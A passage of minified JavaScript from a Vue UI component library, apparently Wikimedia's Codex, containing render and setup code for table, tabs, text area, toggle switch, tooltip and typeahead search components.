ode(t.toDisplayString(e.caption),1)],64))]),t.renderSlot(e.$slots,"thead",{},()=>[e.columns.length>0?(t.openBlock(),t.createElementBlock("thead",Ki,[t.createElementVNode("tr",null,[e.useRowSelection?(t.openBlock(),t.createElementBlock("th",Hi,[t.createVNode(r,{modelValue:e.selectAll,"onUpdate:modelValue":[n[1]||(n[1]=c=>e.selectAll=c),e.handleSelectAll],"hide-label":!0,indeterminate:e.selectAllIndeterminate},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.translatedSelectAllLabel),1)]),_:1},8,["modelValue","indeterminate","onUpdate:modelValue"])])):t.createCommentVNode("v-if",!0),(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.columns,c=>(t.openBlock(),t.createElementBlock("th",{key:c.id,scope:"col",class:t.normalizeClass(e.getCellClass(c,c.allowSort)),"aria-sort":e.getSortOrder(c.id,c.allowSort),style:t.normalizeStyle(e.getCellStyle(c))},[c.allowSort?(t.openBlock(),t.createElementBlock("button",{key:0,"aria-selected":c.id===e.activeSortColumn,class:"cdx-table__table__sort-button",onClick:p=>e.handleSort(c.id)},[t.createElementVNode("span",Wi,t.toDisplayString(c.label),1),t.createVNode(a,{icon:e.getSortIcon(c.id),size:"small",class:"cdx-table__table__sort-icon--vue","aria-hidden":"true"},null,8,["icon"])],8,ji)):(t.openBlock(),t.createElementBlock(t.Fragment,{key:1},[t.createTextVNode(t.toDisplayString(c.label),1)],64))],14,Ui))),128))])])):t.createCommentVNode("v-if",!0)]),e.pending?(t.openBlock(),t.createBlock(u,{key:0,inline:!0,class:"cdx-table__pending-indicator"})):t.createCommentVNode("v-if",!0),t.renderSlot(e.$slots,"tbody",{},()=>[e.dataForDisplay.length>0?(t.openBlock(),t.createElementBlock("tbody",qi,[(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.dataForDisplay,(c,p)=>(t.openBlock(),t.createElementBlock("tr",{key:e.getRowKey(c,p),class:t.normalizeClass(e.getRowClass(c,p))},[e.useRowSelection?(t.openBlock(),t.createElementBlock("td",Qi,[t.createVNode(r,{modelValue:e.wrappedSelectedRows,"onUpdate:modelValue":[n[2]||(n[2]=f=>e.wrappedSelectedRows=f),e.handleRowSelection],"input-value":e.getRowKey(c,p),"hide-label":!0},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.translatedSelectRowLabel(p+1,e.dataForDisplay.length)),1)]),_:2},1032,["modelValue","input-value","onUpdate:modelValue"])])):t.createCommentVNode("v-if",!0),(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.columns,f=>(t.openBlock(),t.createBlock(t.resolveDynamicComponent(e.getCellElement(f.id)),{key:f.id,scope:e.getRowHeaderScope(f.id),class:t.normalizeClass(e.getCellClass(f))},{default:t.withCtx(()=>[t.renderSlot(e.$slots,"item-"+f.id,{item:c[f.id],row:c},()=>[t.createTextVNode(t.toDisplayString(c[f.id]),1)])]),_:2},1032,["scope","class"]))),128))],2))),128))])):e.$slots["empty-state"]&&e.$slots["empty-state"]().length>0?(t.openBlock(),t.createElementBlock("tbody",Gi,[t.createElementVNode("tr",Yi,[t.createElementVNode("td",{colspan:e.columns.length,class:"cdx-table__table__empty-state-content"},[t.renderSlot(e.$slots,"empty-state")],8,Xi)])])):t.createCommentVNode("v-if",!0)]),t.renderSlot(e.$slots,"tfoot")],2)]),e.paginate&&(e.paginationPosition==="bottom"||e.paginationPosition==="both")?(t.openBlock(),t.createBlock(i,{key:2,"items-per-page":e.pageSize,"onUpdate:itemsPerPage":n[3]||(n[3]=c=>e.pageSize=c),class:"cdx-table__pagination--bottom","pagination-size-options":e.paginationSizeOptions,"prev-disabled":e.prevDisabled,"next-disabled":e.nextDisabled,"last-disabled":e.lastDisabled,onNext:e.onNext,onPrev:e.onPrev,onFirst:e.onFirst,onLast:e.onLast},{default:t.withCtx(()=>[t.createElementVNode("span",Zi,t.toDisplayString(e.paginationStatusMessageLong),1),t.createElementVNode("span",Ji,t.toDisplayString(e.paginationStatusMessageShort),1)]),_:1},8,["items-per-page","pagination-size-options","prev-disabled","next-disabled","last-disabled","onNext","onPrev","onFirst","onLast"])):t.createCommentVNode("v-if",!0),e.$slots.footer&&e.$slots.footer().length>0?(t.openBlock(),t.createElementBlock("div",er,[t.renderSlot(e.$slots,"footer")])):t.createCommentVNode("v-if",!0)])}const nr=_(Li,[["render",tr]]),or=t.defineComponent({name:"CdxTab",props:{name:{type:String,required:!0},label:{type:String,default:""},disabled:{type:Boolean,default:!1}},setup(e){var d;const n=t.inject(Xt),o=t.inject(Zt);if(!n||!o)throw new Error("Tab component must be used inside a Tabs component");const l=(d=n.value.get(e.name))!=null?d:{},s=t.computed(()=>e.name===o.value);return{tab:l,isActive:s}}}),lr=["id","aria-hidden","aria-labelledby"];function ar(e,n,o,l,s,d){return t.withDirectives((t.openBlock(),t.createElementBlock("section",{id:e.tab.id,"aria-hidden":e.isActive?void 0:!0,"aria-labelledby":"".concat(e.tab.id,"-label"),class:"cdx-tab",role:"tabpanel",tabindex:"-1"},[t.renderSlot(e.$slots,"default")],8,lr)),[[t.vShow,e.isActive]])}const Mn=_(or,[["render",ar]]),sr=t.defineComponent({name:"CdxTabs",components:{CdxButton:fe,CdxIcon:G},props:{active:{type:String,default:null},framed:{type:Boolean,default:!1}},emits:["update:active"],setup(e,{slots:n,emit:o}){const l=t.ref(),s=t.ref(),d=t.ref(),i=t.ref(),r=Fe(l),a=t.computed(()=>{const b=Ze(n.default);if(!b.every(k=>typeof k=="object"&&an(k,Mn.name)))throw new Error("Slot content may only contain CdxTab components");if(b.length===0)throw new Error("Slot content cannot be empty");return b}),u=t.computed(()=>a.value.reduce((b,k)=>{var I;if((I=k.props)!=null&&I.name&&typeof k.props.name=="string"){if(b.get(k.props.name))throw new Error("Tab names must be unique");b.set(k.props.name,{name:k.props.name,id:t.useId(),label:k.props.label||k.props.name,disabled:k.props.disabled})}return b},new Map)),c=t.ref(Array.from(u.value.keys())[0]),p=Pe(c,t.toRef(e,"active"),o,"update:active"),f=t.computed(()=>Array.from(u.value.keys())),m=t.computed(()=>f.value.indexOf(p.value)),h=t.computed(()=>{var b;return(b=u.value.get(p.value))==null?void 0:b.id});t.provide(Zt,p),t.provide(Xt,u);const v=t.ref(new Map),g=t.ref(),C=t.ref(),B=We(g,{threshold:.95}),S=We(C,{threshold:.95});function E(b,k){const I=b;I&&(v.value.set(k,I),k===0?g.value=I:k===f.value.length-1&&(C.value=I))}const V=t.computed(()=>({"cdx-tabs--framed":e.framed,"cdx-tabs--quiet":!e.framed}));function D(){var b;(b=v.value.get(m.value))==null||b.focus()}function A(b){if(!s.value||!d.value||!i.value)return 0;const k=r.value==="rtl"?i.value:d.value,I=r.value==="rtl"?d.value:i.value,x=b.offsetLeft,R=x+b.clientWidth,K=s.value.scrollLeft+k.clientWidth,z=s.value.scrollLeft+s.value.clientWidth-I.clientWidth;return x<K?x-K:R>z?R-z:0}function $(b){if(!s.value||!d.value||!i.value)return;const k=b==="next"&&r.value==="ltr"||b==="prev"&&r.value==="rtl"?1:-1;let I=0,x=b==="next"?s.value.firstElementChild:s.value.lastElementChild;for(;x;){const R=b==="next"?x.nextElementSibling:x.previousElementSibling;if(I=A(x),Math.sign(I)===k){R&&Math.abs(I)<.25*s.value.clientWidth&&(I=A(R));break}x=R}s.value.scrollBy({left:I,behavior:"smooth"}),D()}return t.watch(p,()=>{if(h.value===void 0||!s.value||!d.value||!i.value)return;const b=document.getElementById("".concat(h.value,"-label"));b&&s.value.scrollBy({left:A(b),behavior:"smooth"})}),{activeTab:p,activeTabIndex:m,activeTabId:h,currentDirection:r,rootElement:l,tabListElement:s,prevScroller:d,nextScroller:i,rootClasses:V,tabNames:f,tabsData:u,firstLabelVisible:B,lastLabelVisible:S,assignTemplateRefForTabButton:E,scrollTabs:$,focusActiveTab:D,cdxIconPrevious:qt,cdxIconNext:Wt}},methods:{select(e,n){const o=this.tabsData.get(e);o&&!(o!=null&&o.disabled)&&(this.activeTab=e,n&&t.nextTick(()=>{this.focusActiveTab()}))},selectNonDisabled(e,n,o){const l=this.tabsData.get(this.tabNames[e+n]);l&&(l.disabled?this.selectNonDisabled(e+n,n,o):this.select(l.name,o))},next(e){this.selectNonDisabled(this.activeTabIndex,1,e)},prev(e){this.selectNonDisabled(this.activeTabIndex,-1,e)},onLeftArrowKeypress(){this.currentDirection==="rtl"?this.next(!0):this.prev(!0)},onRightArrowKeypress(){this.currentDirection==="rtl"?this.prev(!0):this.next(!0)},onDownArrowKeypress(){var e;this.activeTabId&&((e=document.getElementById(this.activeTabId))==null||e.focus())}}}),ir={class:"cdx-tabs__header"},rr={ref:"prevScroller",class:"cdx-tabs__prev-scroller"},dr={ref:"tabListElement",class:"cdx-tabs__list",role:"tablist"},ur=["id","disabled","aria-controls","aria-selected","tabindex","onClick","onKeyup"],cr={ref:"nextScroller",class:"cdx-tabs__next-scroller"},pr={class:"cdx-tabs__content"};function fr(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createElementBlock("div",{ref:"rootElement",class:t.normalizeClass(["cdx-tabs",e.rootClasses])},[t.createElementVNode("div",ir,[t.withDirectives(t.createElementVNode("div",rr,[t.createVNode(r,{class:"cdx-tabs__scroll-button",weight:"quiet",type:"button",tabindex:"-1","aria-hidden":!0,onMousedown:n[0]||(n[0]=t.withModifiers(()=>{},["prevent"])),onClick:n[1]||(n[1]=a=>e.scrollTabs("prev"))},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconPrevious},null,8,["icon"])]),_:1})],512),[[t.vShow,!e.firstLabelVisible]]),t.createElementVNode("div",dr,[(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.tabsData.values(),(a,u)=>(t.openBlock(),t.createElementBlock("button",{id:"".concat(a.id,"-label"),key:u,ref_for:!0,ref:c=>e.assignTemplateRefForTabButton(c,u),disabled:a.disabled?!0:void 0,"aria-controls":a.id,"aria-selected":a.name===e.activeTab,tabindex:a.name===e.activeTab?void 0:-1,class:"cdx-tabs__list__item",role:"tab",onClick:t.withModifiers(c=>e.select(a.name),["prevent"]),onKeyup:t.withKeys(c=>e.select(a.name),["enter"]),onKeydown:[n[2]||(n[2]=t.withKeys(t.withModifiers((...c)=>e.onRightArrowKeypress&&e.onRightArrowKeypress(...c),["prevent"]),["right"])),n[3]||(n[3]=t.withKeys(t.withModifiers((...c)=>e.onDownArrowKeypress&&e.onDownArrowKeypress(...c),["prevent"]),["down"])),n[4]||(n[4]=t.withKeys(t.withModifiers((...c)=>e.onLeftArrowKeypress&&e.onLeftArrowKeypress(...c),["prevent"]),["left"]))]},[t.createElementVNode("span",null,t.toDisplayString(a.label),1)],40,ur))),128))],512),t.withDirectives(t.createElementVNode("div",cr,[t.createVNode(r,{class:"cdx-tabs__scroll-button",weight:"quiet",type:"button",tabindex:"-1","aria-hidden":!0,onMousedown:n[5]||(n[5]=t.withModifiers(()=>{},["prevent"])),onClick:n[6]||(n[6]=a=>e.scrollTabs("next"))},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconNext},null,8,["icon"])]),_:1})],512),[[t.vShow,!e.lastLabelVisible]])]),t.createElementVNode("div",pr,[t.renderSlot(e.$slots,"default")])],2)}const mr=_(sr,[["render",fr]]),hr=ee(pe),vr=t.defineComponent({name:"CdxTextArea",components:{CdxIcon:G},inheritAttrs:!1,props:{modelValue:{type:String,default:""},status:{type:String,default:"default",validator:hr},disabled:{type:Boolean,default:!1},autosize:{type:Boolean,default:!1},startIcon:{type:[String,Object],default:void 0},endIcon:{type:[String,Object],default:void 0}},emits:["update:modelValue","input","change","focus","blur","invalid"],setup(e,{attrs:n,emit:o}){const l=t.ref(),s=oe(t.toRef(e,"modelValue"),o),d=n.id,{computedDisabled:i,computedStatus:r,computedInputId:a}=se(t.toRef(e,"disabled"),t.toRef(e,"status"),d),u=t.inject(Xe,void 0),c=t.computed(()=>({"cdx-text-area__textarea--has-value":!!s.value,"cdx-text-area__textarea--is-autosize":e.autosize})),p=t.computed(()=>({"cdx-text-area--status-default":r.value==="default","cdx-text-area--status-error":r.value==="error","cdx-text-area--has-start-icon":!!e.startIcon,"cdx-text-area--has-end-icon":!!e.endIcon})),{rootClasses:f,rootStyle:m,otherAttrs:h}=le(n,p),v=t.computed(()=>{const $=h.value,{id:D}=$;return de($,["id"])});function g(D){l.value&&e.autosize&&(l.value.style.height="auto",l.value.style.height="".concat(l.value.scrollHeight,"px")),o("input",D)}const C=D=>{o("change",D)},B=D=>{o("focus",D)},S=D=>{o("blur",D)},E=t.ref(!0);return{textarea:l,rootClasses:f,rootStyle:m,wrappedModel:s,computedDisabled:i,computedInputId:a,descriptionId:u,textareaClasses:c,otherAttrsMinusId:v,onInput:g,onChange:C,onFocus:B,onBlur:S,onInvalid:(D,A)=>{A&&D.preventDefault(),o("invalid",D),E.value=!0},shouldPreventDefault:E}},methods:{focus(){this.$refs.textarea.focus()},blur(){this.$refs.textarea.blur()},checkValidity(){return this.$refs.textarea.checkValidity()},reportValidity(){return this.shouldPreventDefault=!1,this.$refs.textarea.reportValidity()},setCustomValidity(e){this.$refs.textarea.setCustomValidity(e)}}}),gr=["id","aria-describedby","disabled"];function br(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-text-area",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.withDirectives(t.createElementVNode("textarea",t.mergeProps({id:e.computedInputId,ref:"textarea"},e.otherAttrsMinusId,{"onUpdate:modelValue":n[0]||(n[0]=r=>e.wrappedModel=r),class:[e.textareaClasses,"cdx-text-area__textarea"],"aria-describedby":e.descriptionId,disabled:e.computedDisabled,onInput:n[1]||(n[1]=(...r)=>e.onInput&&e.onInput(...r)),onChange:n[2]||(n[2]=(...r)=>e.onChange&&e.onChange(...r)),onFocus:n[3]||(n[3]=(...r)=>e.onFocus&&e.onFocus(...r)),onBlur:n[4]||(n[4]=(...r)=>e.onBlur&&e.onBlur(...r)),onInvalid:n[5]||(n[5]=r=>e.onInvalid(r,e.shouldPreventDefault))}),null,16,gr),[[t.vModelText,e.wrappedModel]]),e.startIcon?(t.openBlock(),t.createBlock(i,{key:0,icon:e.startIcon,class:"cdx-text-area__icon-vue cdx-text-area__start-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0),e.endIcon?(t.openBlock(),t.createBlock(i,{key:1,icon:e.endIcon,class:"cdx-text-area__icon-vue cdx-text-area__end-icon"},null,8,["icon"])):t.createCommentVNode("v-if",!0)],6)}const yr=_(vr,[["render",br]]),Cr=t.defineComponent({name:"CdxToggleButtonGroup",components:{CdxIcon:G,CdxToggleButton:Nt},props:{buttons:{type:Array,required:!0,validator:e=>Array.isArray(e)&&e.length>=1},modelValue:{type:[String,Number,null,Array],required:!0},disabled:{type:Boolean,default:!1}},emits:["update:modelValue"],setup(e,{emit:n}){const{rootElement:o,assignTemplateRef:l,onFocus:s,onBlur:d,onKeydown:i}=dn(t.toRef(e,"buttons"));function r(u){return Array.isArray(e.modelValue)?e.modelValue.includes(u.value):e.modelValue!==null?e.modelValue===u.value:!1}function a(u,c){if(Array.isArray(e.modelValue)){const p=e.modelValue.includes(u.value);c&&!p?n("update:modelValue",e.modelValue.concat(u.value)):!c&&p&&n("update:modelValue",e.modelValue.filter(f=>f!==u.value))}else c&&e.modelValue!==u.value&&n("update:modelValue",u.value)}return{rootElement:o,assignTemplateRef:l,onFocus:s,onBlur:d,onKeydown:i,getButtonLabel:rn,isSelected:r,onUpdate:a}}}),wr={ref:"rootElement",class:"cdx-toggle-button-group"};function kr(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-toggle-button");return t.openBlock(),t.createElementBlock("div",wr,[(t.openBlock(!0),t.createElementBlock(t.Fragment,null,t.renderList(e.buttons,(a,u)=>(t.openBlock(),t.createBlock(r,{key:a.value,ref_for:!0,ref:c=>e.assignTemplateRef(c,u),"model-value":e.isSelected(a),disabled:a.disabled||e.disabled,"aria-label":a.ariaLabel,"onUpdate:modelValue":c=>e.onUpdate(a,c),onFocus:c=>e.onFocus(u),onBlur:e.onBlur,onKeydown:e.onKeydown},{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default",{button:a,selected:e.isSelected(a)},()=>[a.icon?(t.openBlock(),t.createBlock(i,{key:0,icon:a.icon},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createTextVNode(" "+t.toDisplayString(e.getButtonLabel(a)),1)])]),_:2},1032,["model-value","disabled","aria-label","onUpdate:modelValue","onFocus","onBlur","onKeydown"]))),128))],512)}const $r=_(Cr,[["render",kr]]),Br=t.defineComponent({name:"CdxToggleSwitch",components:{CdxLabel:Ae},inheritAttrs:!1,props:{modelValue:{type:[Boolean,Array],default:!1},inputValue:{type:[String,Number,Boolean],default:!1},alignSwitch:{type:Boolean,default:!1},hideLabel:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1}},emits:["update:modelValue"],setup(e,{emit:n,slots:o,attrs:l}){var h;et((h=o.default)==null?void 0:h.call(o),l,"CdxToggleSwitch");const s=t.ref(),d=t.useId(),i=t.useId(),r=t.computed(()=>({"cdx-toggle-switch--align-switch":e.alignSwitch})),{rootClasses:a,rootStyle:u,otherAttrs:c}=le(l,r),{computedDisabled:p}=se(t.toRef(e,"disabled")),f=oe(t.toRef(e,"modelValue"),n);return{input:s,inputId:d,descriptionId:i,rootClasses:a,rootStyle:u,otherAttrs:c,computedDisabled:p,wrappedModel:f,clickInput:()=>{s.value.click()}}}}),Sr=["id","aria-describedby","value","disabled"];function Ir(e,n,o,l,s,d){const i=t.resolveComponent("cdx-label");return t.openBlock(),t.createElementBlock("span",{class:t.normalizeClass(["cdx-toggle-switch",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.withDirectives(t.createElementVNode("input",t.mergeProps({id:e.inputId,ref:"input","onUpdate:modelValue":n[0]||(n[0]=r=>e.wrappedModel=r),class:"cdx-toggle-switch__input",type:"checkbox",role:"switch","aria-describedby":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,value:e.inputValue,disabled:e.computedDisabled},e.otherAttrs,{onKeydown:n[1]||(n[1]=t.withKeys(t.withModifiers((...r)=>e.clickInput&&e.clickInput(...r),["prevent"]),["enter"]))}),null,16,Sr),[[t.vModelCheckbox,e.wrappedModel]]),n[2]||(n[2]=t.createElementVNode("span",{class:"cdx-toggle-switch__switch"},[t.createElementVNode("span",{class:"cdx-toggle-switch__switch__grip"})],-1)),e.$slots.default&&e.$slots.default().length?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-toggle-switch__label","input-id":e.inputId,"description-id":e.$slots.description&&e.$slots.description().length>0?e.descriptionId:void 0,"visually-hidden":e.hideLabel,disabled:e.computedDisabled},t.createSlots({default:t.withCtx(()=>[t.renderSlot(e.$slots,"default")]),_:2},[e.$slots.description&&e.$slots.description().length>0?{name:"description",fn:t.withCtx(()=>[t.renderSlot(e.$slots,"description")]),key:"0"}:void 0]),1032,["input-id","description-id","visually-hidden","disabled"])):t.createCommentVNode("v-if",!0)],6)}const xr=_(Br,[["render",Ir]]);function Vr(e,n=Te){let l=Array.from(e).reduce((d,i)=>d*31+i.charCodeAt(0)&4294967295,0);l=l>>>0;const s=l.toString(36);return"".concat(n,"-").concat(s)}const zt=new Map;class Er{constructor(n,o){me(this,"referenceElement");me(this,"tooltipElement");me(this,"textContent");me(this,"placement");me(this,"autoUpdateCleanup");me(this,"referenceElementHandlers");me(this,"tooltipElementHandlers");me(this,"escapeHandler");me(this,"timeoutId");var d,i;const l=n.ownerDocument,s=this.generateTooltipId(o.textContent);this.referenceElement=n,this.textContent=o.textContent,this.placement=(d=o.placement)!=null?d:"bottom",this.timeoutId=null,this.tooltipElement=l.createElement("div"),this.tooltipElement.classList.add("cdx-tooltip"),this.tooltipElement.role="tooltip",this.tooltipElement.id=s,this.referenceElement.setAttribute("aria-describedby",s),this.tooltipElement.textContent=this.textContent,(i=this.referenceElement.parentElement)==null||i.appendChild(this.tooltipElement),this.referenceElementHandlers={},this.referenceElementHandlers.mouseenter=this.show.bind(this),this.referenceElementHandlers.mouseleave=this.hideAfterDelay.bind(this),this.referenceElementHandlers.focus=this.show.bind(this),this.referenceElementHandlers.blur=this.hide.bind(this),this.tooltipElementHandlers={},this.tooltipElementHandlers.mouseenter=this.show.bind(this),this.tooltipElementHandlers.mouseleave=this.hideAfterDelay.bind(this),this.escapeHandler=this.onKeyup.bind(this),this.addEventListeners(),this.autoUpdateCleanup=xt(this.referenceElement,this.tooltipElement,()=>this.update())}generateTooltipId(n){var s;const o=n.trim(),l=(s=zt.get(o))!=null?s:0;return zt.set(o,l+1),Vr(o+"-"+l,"cdx-tooltip")}isVisible(){return this.tooltipElement.style.display==="block"}show(){this.timeoutId&&clearTimeout(this.timeoutId),this.tooltipElement.style.display="block",this.tooltipElement.ownerDocument.addEventListener("keyup",this.escapeHandler)}hide(){this.tooltipElement.style.display="none",this.tooltipElement.ownerDocument.removeEventListener("keyup",this.escapeHandler)}hideAfterDelay(){this.timeoutId=setTimeout(this.hide.bind(this),250)}onKeyup(n){n.key==="Escape"&&this.isVisible()&&this.hide()}addEventListeners(){Object.keys(this.referenceElementHandlers).forEach(n=>{this.referenceElement.addEventListener(n,this.referenceElementHandlers[n])}),Object.keys(this.tooltipElementHandlers).forEach(n=>{this.tooltipElement.addEventListener(n,this.tooltipElementHandlers[n])})}removeEventListeners(){Object.keys(this.referenceElementHandlers).forEach(n=>{this.referenceElement.removeEventListener(n,this.referenceElementHandlers[n])}),Object.keys(this.tooltipElementHandlers).forEach(n=>{this.tooltipElement.removeEventListener(n,this.tooltipElementHandlers[n])})}update(){Sn(this.referenceElement,this.tooltipElement,{placement:this.placement,middleware:[Vt(4),Et(),Ga(),ht()]}).then(({x:n,y:o,middlewareData:l})=>{var d,i,r;const s=(i=(d=l.offset)==null?void 0:d.placement)!=null?i:this.placement;Object.assign(this.tooltipElement.style,{left:"".concat(n,"px"),top:"".concat(o,"px"),visibility:(r=l.hide)!=null&&r.referenceHidden?"hidden":"visible",transformOrigin:on[s]})})}remove(){this.tooltipElement.remove(),this.autoUpdateCleanup(),this.removeEventListeners()}}const Nr={mounted(e,{value:n,arg:o}){n&&(typeof n=="string"&&n.trim()===""||(e.tooltip=new Er(e,{textContent:String(n),placement:o})))},beforeUnmount(e){e.tooltip&&e.tooltip.remove()}},Ar=t.defineComponent({name:"CdxTypeaheadSearch",components:{CdxIcon:G,CdxMenu:Be,CdxSearchInput:An},inheritAttrs:!1,props:{id:{type:String,required:!0},formAction:{type:String,required:!0},searchResults:{type:Array,required:!0},useButton:{type:Boolean,default:!1},buttonLabel:{type:String,default:""},initialInputValue:{type:String,default:""},searchFooterUrl:{type:String,default:""},debounceInterval:{type:Number,default:Io},highlightQuery:{type:Boolean,default:!1},showThumbnail:{type:Boolean,default:!1},autoExpandWidth:{type:Boolean,default:!1},visibleItemLimit:{type:Number,default:null}},emits:["input","search-result-click","submit","load-more"],setup(e,{attrs:n,emit:o,slots:l}){const s=t.ref(),d=t.ref(),i=t.useId(),r=X("cdx-typeahead-search-search-results-label","Search results"),a=t.ref(!1),u=t.ref(!1),c=t.ref(!1),p=t.ref(!1),f=t.ref(e.initialInputValue),m=t.ref(""),h=t.computed(()=>{var y,T;return(T=(y=d.value)==null?void 0:y.getHighlightedMenuItem())==null?void 0:T.id}),v=t.ref(null),g=t.computed(()=>({"cdx-typeahead-search__menu-message--has-thumbnail":e.showThumbnail})),C=t.computed(()=>e.searchResults.find(y=>y.value===v.value)),B=t.computed(()=>e.searchFooterUrl?{value:Ve,url:e.searchFooterUrl}:void 0),S=t.computed(()=>({"cdx-typeahead-search--show-thumbnail":e.showThumbnail,"cdx-typeahead-search--expanded":a.value,"cdx-typeahead-search--auto-expand-width":e.showThumbnail&&e.autoExpandWidth})),{rootClasses:E,rootStyle:V,otherAttrs:D}=le(n,S);function A(y){return y}const $=t.computed(()=>({visibleItemLimit:e.visibleItemLimit,showThumbnail:e.showThumbnail,boldLabel:!0,hideDescriptionOverflow:!0}));let b,k;function I(y,T=!1){C.value&&C.value.label!==y&&C.value.value!==y&&(v.value=null),k!==void 0&&(clearTimeout(k),k=void 0),y===""?a.value=!1:(u.value=!0,l["search-results-pending"]&&(k=setTimeout(()=>{p.value&&(a.value=!0),c.value=!0},xo))),b!==void 0&&(clearTimeout(b),b=void 0);const W=()=>{o("input",y)};T?W():b=setTimeout(()=>{W()},e.debounceInterval)}function x(y){var T;if(y===Ve){v.value=null,f.value=m.value;return}v.value=y,y!==null&&(f.value=C.value?(T=C.value.label)!=null?T:String(C.value.value):"")}function R(){p.value=!0,(m.value||c.value)&&(a.value=!0)}function K(){p.value=!1,a.value=!1}function z(y){const Z=y,{id:T}=Z,W=de(Z,["id"]);if(W.value===Ve){o("search-result-click",{searchResult:null,index:e.searchResults.length,numberOfResults:e.searchResults.length});return}O(W)}function O(y){const T={searchResult:y,index:e.searchResults.findIndex(W=>W.value===y.value),numberOfResults:e.searchResults.length};o("search-result-click",T)}function U(y){var T;if(y.value===Ve){f.value=m.value;return}f.value=y.value?(T=y.label)!=null?T:String(y.value):""}function L(y){var T;a.value=!1,(T=d.value)==null||T.clearActive(),z(y)}function H(y){if(C.value)O(C.value),y.stopPropagation(),window.location.assign(C.value.url),y.preventDefault();else{const T={searchResult:null,index:-1,numberOfResults:e.searchResults.length};o("submit",T)}}function q(y){if(!d.value||!m.value||y.key===" ")return;const T=d.value.getHighlightedMenuItem(),W=d.value.getHighlightedViaKeyboard();switch(y.key){case"Enter":T&&(T.value===Ve&&W?window.location.assign(e.searchFooterUrl):d.value.delegateKeyNavigation(y,{prevent:!1})),a.value=!1;break;case"Tab":a.value=!1;break;default:d.value.delegateKeyNavigation(y);break}}return t.onMounted(()=>{e.initialInputValue&&I(e.initialInputValue,!0)}),t.watch(t.toRef(e,"searchResults"),()=>{m.value=f.value.trim(),p.value&&u.value&&m.value.length>0&&(a.value=!0),k!==void 0&&(clearTimeout(k),k=void 0),u.value=!1,c.value=!1}),{form:s,menu:d,menuId:i,highlightedId:h,selection:v,menuMessageClass:g,footer:B,asSearchResult:A,inputValue:f,searchQuery:m,expanded:a,showPending:c,rootClasses:E,rootStyle:V,otherAttrs:D,menuConfig:$,onUpdateInputValue:I,onUpdateMenuSelection:x,onFocus:R,onBlur:K,onSearchResultClick:z,onSearchResultKeyboardNavigation:U,onSearchFooterClick:L,onSubmit:H,onKeydown:q,MenuFooterValue:Ve,articleIcon:so,translatedSearchResultsLabel:r}},methods:{focus(){this.$refs.searchInput.focus()}}}),Dr=["id","action"],Mr={class:"cdx-typeahead-search__menu-message__text"},Lr={class:"cdx-typeahead-search__menu-message__text"},Tr=["href","onClickCapture"],Rr={class:"cdx-menu-item__text cdx-typeahead-search__search-footer__text"},Or={class:"cdx-typeahead-search__search-footer__query"};function Fr(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-menu"),a=t.resolveComponent("cdx-search-input");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-typeahead-search",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("form",{id:e.id,ref:"form",class:"cdx-typeahead-search__form",action:e.formAction,onSubmit:n[4]||(n[4]=(...u)=>e.onSubmit&&e.onSubmit(...u))},[t.createVNode(a,t.mergeProps({ref:"searchInput",modelValue:e.inputValue,"onUpdate:modelValue":n[3]||(n[3]=u=>e.inputValue=u),"button-label":e.buttonLabel,"use-button":e.useButton},e.otherAttrs,{class:"cdx-typeahead-search__input",name:"search",role:"combobox",autocomplete:"off","aria-autocomplete":"list","aria-controls":e.menuId,"aria-expanded":e.expanded,"aria-activedescendant":e.highlightedId,"onUpdate:modelValue":e.onUpdateInputValue,onFocus:e.onFocus,onBlur:e.onBlur,onKeydown:e.onKeydown}),{default:t.withCtx(()=>[t.createVNode(r,t.mergeProps({id:e.menuId,ref:"menu",expanded:e.expanded,"onUpdate:expanded":n[0]||(n[0]=u=>e.expanded=u),class:"cdx-typeahead-search__menu","show-pending":e.showPending,selected:e.selection,"menu-items":e.searchResults,footer:e.footer,"search-query":e.highlightQuery?e.searchQuery:"","show-no-results-slot":e.searchQuery.length>0&&e.searchResults.length===0&&e.$slots["search-no-results-text"]&&e.$slots["search-no-results-text"]().length>0},e.menuConfig,{"aria-label":e.translatedSearchResultsLabel,"onUpdate:selected":e.onUpdateMenuSelection,onMenuItemClick:n[1]||(n[1]=u=>e.onSearchResultClick(e.asSearchResult(u))),onMenuItemKeyboardNavigation:e.onSearchResultKeyboardNavigation,onLoadMore:n[2]||(n[2]=u=>e.$emit("load-more"))}),{pending:t.withCtx(()=>[t.createElementVNode("div",{class:t.normalizeClass(["cdx-menu-item__content cdx-typeahead-search__menu-message",e.menuMessageClass])},[t.createElementVNode("span",Mr,[t.renderSlot(e.$slots,"search-results-pending")])],2)]),"no-results":t.withCtx(()=>[t.createElementVNode("div",{class:t.normalizeClass(["cdx-menu-item__content cdx-typeahead-search__menu-message",e.menuMessageClass])},[t.createElementVNode("span",Lr,[t.renderSlot(e.$slots,"search-no-results-text")])],2)]),default:t.withCtx(({menuItem:u,active:c})=>[u.value===e.MenuFooterValue?(t.openBlock(),t.createElementBlock("a",{key:0,class:t.normalizeClass(["cdx-menu-item__content 